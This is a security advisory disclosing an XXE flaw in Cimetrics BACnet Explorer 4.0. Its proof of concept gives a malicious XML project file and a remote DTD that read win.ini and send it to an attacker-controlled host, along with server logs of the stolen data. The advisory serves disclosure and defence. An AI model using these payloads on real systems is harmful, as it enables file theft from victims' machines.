Cimetrics BACnet Explorer 4.0 XXE Vulnerability

2017-02-12T00:00:00
ID ZSL-2017-5398
Type zeroscience
Reporter Gjoko Krstic
Modified 2017-02-12T00:00:00

Description

Title: Cimetrics BACnet Explorer 4.0 XXE Vulnerability
Advisory ID: ZSL-2017-5398
Type: Local/Remote
Impact: Exposure of System Information, Exposure of Sensitive Information, DoS
Risk: (3/5)
Release Date: 12.02.2017

Summary

The BACnet Explorer is a BACnet client application that helps auto discover BACnet devices.

Description

BACnetExplorer suffers from an XML External Entity (XXE) vulnerability using the DTD parameter entities technique resulting in disclosure and retrieval of arbitrary data on the affected node via out-of-band (OOB) attack. The vulnerability is triggered when input passed to the xml parser is not sanitized while parsing the xml project file.

Vendor

Cimetrics, Inc. - <https://www.cimetrics.com>

Affected Version

4.0.0.0

Tested On

Microsoft Windows 7 Professional SP1 (EN)
Microsoft Windows 7 Ultimate SP1 (EN)

Vendor Status

[30.01.2017] Vulnerability discovered.
[31.01.2017] Vendor contacted.
[11.02.2017] No reply from the vendor.
[12.02.2017] Public security advisory released.

PoC

bacnetexplorer_xxe.txt

Credits

Vulnerability discovered by Gjoko Krstic - <gjoko@zeroscience.mk>

References

[1] <https://www.exploit-db.com/exploits/41321/>
[2] <https://cxsecurity.com/issue/WLB-2017020121>
[3] <https://packetstormsecurity.com/files/141054>
[4] <https://exchange.xforce.ibmcloud.com/vulnerabilities/122001>

Changelog

[12.02.2017] - Initial release
[18.02.2017] - Added reference [1], [2], [3] and [4]

Contact

Zero Science Lab

Web: <http://www.zeroscience.mk>
e-mail: lab@zeroscience.mk

                                        
                                            
Cimetrics BACnet Explorer 4.0 XXE Vulnerability


Vendor: Cimetrics, Inc.
Product web page: https://www.cimetrics.com
Affected version: 4.0.0.0

Summary: The BACnet Explorer is a BACnet client application that
helps auto discover BACnet devices.

Desc: BACnetExplorer suffers from an XML External Entity (XXE)
vulnerability using the DTD parameter entities technique resulting
in disclosure and retrieval of arbitrary data on the affected node
via out-of-band (OOB) attack. The vulnerability is triggered when
input passed to the xml parser is not sanitized while parsing the
xml project file.

Tested on: Microsoft Windows NT 6.1.7601 Service Pack 1
           mscorlib.dll: 4.0.30319.34209 built by: FX452RTMGDR
           BACstac Library: 1.5.6116.0
           BACstac Service: 6.8.3


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5398
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5398.php


30.01.2017

--

Open file evil.xml:

&lt;?xml version="1.0" encoding="UTF-8" ?&gt;
&lt;!DOCTYPE zsl [
&lt;!ENTITY % remote SYSTEM "http://192.168.1.71:8080/xxe.xml"&gt;
%remote;
%root;
%oob;]&gt;


xxe.xml on the web server:

&lt;!ENTITY % payload SYSTEM "file:///C:/windows/win.ini"&gt;
&lt;!ENTITY % root "&lt;!ENTITY &#37; oob SYSTEM 'http://192.168.1.71:8080/?%payload;'&gt; "&gt;


pyhon -m SimpleHTTPServer 8080

lab-PC - - [30/Jan/2017 00:47:44] "GET /?%5BMail%5D%0D%0ACMCDLLNAME32=mapi32.dll%0D%0ACMC=1%0D%0AMAPI=1%0D%0AMAPIX=1%0D%0AMAPIXVER=1.0.0.1%0D%0AOLEMessaging=1 HTTP/1.1" 301 -
lab-PC - - [30/Jan/2017 00:47:44] "GET /?%5BMail%5D%0D%0ACMCDLLNAME32=mapi32.dll%0D%0ACMC=1%0D%0AMAPI=1%0D%0AMAPIX=1%0D%0AMAPIXVER=1.0.0.1%0D%0AOLEMessaging=1/ HTTP/1.1" 200 -